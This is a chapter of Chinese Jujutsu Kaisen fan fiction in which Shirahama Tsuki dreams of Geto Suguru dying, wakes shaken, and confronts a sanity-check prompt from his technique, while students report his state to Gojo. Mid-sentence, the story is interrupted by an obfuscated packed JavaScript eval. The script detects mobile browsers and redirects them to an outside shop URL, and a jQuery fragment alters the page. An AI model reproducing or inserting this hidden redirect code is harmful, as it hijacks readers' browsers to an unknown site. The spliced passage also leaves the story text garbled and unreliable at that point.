小黑球不会讲话,但却能通过肢体语言表达自己。看她欢快的蹦了蹦,白波月就明白,她对这个名字还是挺满意的。


    满意就好。


    “那以后就是小星星了。”他握住缩成球的白波星。


    身体后退两步,不小心磕到了床边,惯性的驱使下,他直接坐到了床上。


    屁股下柔软的触感实在是种恐怖的诱惑,白波月顺从心意的身体一歪,在绵软的床铺上躺下,紧接着双眼的眼皮就像不听使唤一样重重的合上了。


    然后,他像是昏迷般睡过去了。


    ————————


    自己,在做梦。


    白波月很确信自己此刻正站在东京咒高的校园内,这里是一处非常普通的校内通道,是学生们平时上下学会走的地方。


    不过,自己为什么会清晰的知道这是梦?


    而他又为什么站在这里?


    他疑惑的四处打量,夕阳的余晖照在学校的石板路上,像是鲜血被冲洗几次的残留。


    突然,一声巨大的轰鸣从不远处传来,随之而来的巨大的蘑菇云奔涌上升,形成的气浪吹飞他的发丝和衣襟,空气中裹挟的灰尘盖住鼻腔,带来一时间的窒息感。


    白波月双眼瞪大,吃惊的看着那起码有数十米深的巨坑。


    敌袭?


    大脑虽然还没反应过来发生了什么,但他手中的骰子却早已忠实的被拿出,就等着攻击袭向他的那一刻直接丢出。


    但,没人攻击他。


    哦对,这是在梦里。


    白波月干巴巴的眨眨眼,扫视周围,记住他这个爆炸的地点,然后转身躲进了高专内的一条阴暗小道。


    可惜,他来晚了。


    这里已经满员了!


    像是刚从爆炸中心生还的夏油杰拖着自己被炸空了一半的身体,蹭着墙面蹒跚的向前走去,嘴里还时不时念叨着什么东西,在“斯巴拉西”。


    白波月手中的骰子来不及收回就直接丢出,想要给夏油杰先来个[体质检定]防止失血过多。


    但等他伸手想要扶住对方的时候,摸向对方肩膀的手下却是一空。


    啊!


    再次意识到自己是在梦里的白波月,自觉尴尬的收回手。


    但他能肯定的是,夏油杰从未有过这么严重的伤,而这场在学校里发生的大爆炸也是他从未见过的,那这场梦的来源或许就很值得思考一番。


    预知梦?


    白波月一步一步的跟在夏油杰身后,他的血滴落了一地,连成蜿蜒的一条血流。很有死亡经验的白波月知道,要是再没有及时的救援和医疗,夏油杰就已经活不长了。


    ……


    杰,要死了?


    白波月步伐沉重,呼吸逐渐变得急促,梦境之外的术式也在不停的闪烁弹窗,像是有什么东西欲发又止。


    “才来啊,悟,真慢啊。”


    原本被恐惧的情绪充斥的大脑在听到夏油杰的话后重新变得清明。


    是悟!


    悟来了,那杰就有救了!


    白波月把原本落后的几步匆匆补上,一上前就看到五条悟正目光专注且复杂的看着独自倒在地上的夏油杰。


    悟!你在等什么,杰要死了,快点带他去找硝子啊!


    “想不到最后还是落你手里了,我的家人们呢?”夏油杰语气虚浮。


    什么家人,有什么家人会比你自己重要,悟,快带他去找硝子!


    白波月无力的手一遍遍穿过夏油杰的虚影,又一次次看到自己的胳膊毫无阻碍的穿过五条悟。


    难道,他要眼睁睁看着杰死去吗!


    “全逃走了……以你的原则,你不会毫无理由杀害年轻术师。”五条悟的语气淡淡。


    “信任吗……”


    “你对我,竟然还留有信任吗……”


    五条悟偏过头,又强行掰回来,让自己直视着夏油杰,像是要把这人的最后一面都一点一滴的记录下来。


    “你还有什么想说的吗?”


    遗言吗?


    五条悟他,不会在等夏油杰的遗言吧。


    白波月有点崩溃。


    他站在一旁,那是个能同时看到他俩的位置,看到他们一个站在光里,一个坐倒在阴影中,看到他们从原本无话不谈的挚友变得背道而驰。


    他突然意识到了,他很有可能看到了原著剧情。


    他看到夏油杰手中飞出的学生证上是乙骨忧太的照片,所以,杰才是那个反派?


    白波月小小的后退一步,脸上的神情从一瞬震惊转为了不可置信。


    这不可能。


    如果杰是主线剧情的反派,那那些缝合线又是怎么回事,那些被污染的神明又是怎么回事!


    没法解释了!


    如果杰才是剧情的反派……如果杰是……如果,他是,那是不是他就会死?


    白波月捂住自己的胸口,想要辅助自己无法张开的肺部进行呼吸,他甚至察觉到自己脸上正带着笑容,眼前的视野中带上了奇怪的噪点,像是有什么东西笼罩在脸前,遮挡视线。


    “我,我不恨高专的人……我只是,只是这个世界从未让我真的笑出来过……”


    别说了。


    “杰。”


    别说了……


    “你永远会是我……”


    别说了!


    白波月从未如此恨过自己身为特级强劲的听力和感知,明明相隔着有一段距离,但那具身体逐渐微弱的呼吸,逐渐放缓的心跳,还有他切实感受过的死亡独有的气息。


    这一切,都太清晰了。


    死亡,就这样静悄悄的离开了。


    ————————


    “喂,喂喂,醒醒。”他被人拍打肩膀喊醒了。


    从噩梦中惊醒的白波月弹射般支起上半身,惊魂未定下,他抬头去看拍打他的人。


    是熊猫。


    怎么是熊猫?


    白波月定了定神,这才向周围看去。


    他现在坐着的地方极其眼熟,正是昨晚梦境中夏油杰坐着的地方。


    他动动身子,只感觉屁股下传来了一阵冰凉的湿意。一股寒意爬上他的脊背,他立马翻身站起,看到地面上只有几株被他压断的小草,并没有他臆想中的满地鲜血。


    无声的松了口气,白波月这才放松了僵硬的脊背。


    “那个,白波老师,您没事吧?”乙骨忧太身侧跟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006298|188940||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着祈本里香,倒不如说他们一年级全体成员都在担忧的看着他,菜菜子和美美子已经把拨号的手指摁在手机上了。


    “不,没事。”


    白波月还未完全从梦中脱离,他总感觉距离不远的地方应该有个巨大的深坑。


    但他现在的状态也不适合在和学生们待在一起,他现在需要个地方,能让他静静的地方。


    对,静一静。


    他要找个地方自己思考一下。


    脑袋里没有路线的规划,脚下也随意的走着,白波月七拐八绕的,竟然走到了薨星宫的大门。


    这里结界套着结界,守备人员也站的比较靠里,大门这边没有人反倒是异常的安静。白波月随意找了个还算干净的石头,就直接坐下了。


    刚坐下,他的术式就像是终于找到了空隙般弹出一个提醒。


    [重要之人死亡,进行理智检定]


    “他没死。”他像是条件反射般的反驳道。


    白波月双眼通红的盯住眼前的提示框,像是透过这莹莹蓝屏和另一个灵魂对视。


    [进行理智检定]


    “我说了,他没死!”


    白波月垂头把头埋进胸前,双眼狠狠上翻成白眼,恶狠狠的盯着那又提示了一遍的屏幕。


    屏幕第三次弹出时卡顿了一下,但终究还是坚定的再次给出骰点提示。


    [进行理智检定]


    这回白波月也不反驳了,就只是面无表情的看着提示框,良久,他开口:“所以你,确实是有意识的,对吗。”


    ————————


    “那个,五条老师。”乙骨忧太喊住了下课后就要往外跑的五条悟,以为是学生有问题要问的悟也欣然停下,打算听听学生的青春期有趣的小问题。


    “怎么了,有什么问题要问你伟大的五条老师!”他叉腰站好。


    “其实是白波老师的事……”乙骨忧太扣扣脸,他的手气实在不好,一年级这么多人石头剪刀布,最终输下来的竟然只有他。


    “诶——把我喊住,确是为了月的事吗?五条老师我啊,也是会吃醋的哦~”五条悟带着点绿茶的口气调侃。


    被调戏了的乙骨忧太慌张摆手,一时间不知道先道歉好还是先说正事好,脸上甚至被憋的一阵涨红。


    “其实,是今天早上,我们来上课的时候看到白波老师睡在路边上,脸上还蒙着一层黑黑的东西。喊醒他后,他看起来状况又不太好,人也感觉晕晕的。”


    “但他也没让我们跟着,我们又着急来上课,所以直到现在才有空和老师你说。”


    祈本里香突然从教室里出来,顺便帮乙骨忧太解了围。他们身后的教室里还传来了一阵主要由熊猫和菜菜发起的善意调侃声。


    五条悟面上笑容不变,他昨晚可是亲眼看到某人自己拖沓着脚步回了房间的,要说他偷偷溜出去夜游,那也得有精力才行啊。


    要知道,昨晚的白波月就差直接在医务室和硝子抢床了。


    “你们知道他去哪儿了吗?”五条悟的嘴上,还是挂着和之前一般无二的笑容。


    感知到五条悟的笑容下没有一丝笑意的乙骨忧太缩了缩脖子,复又挺直腰背回答:“后山。”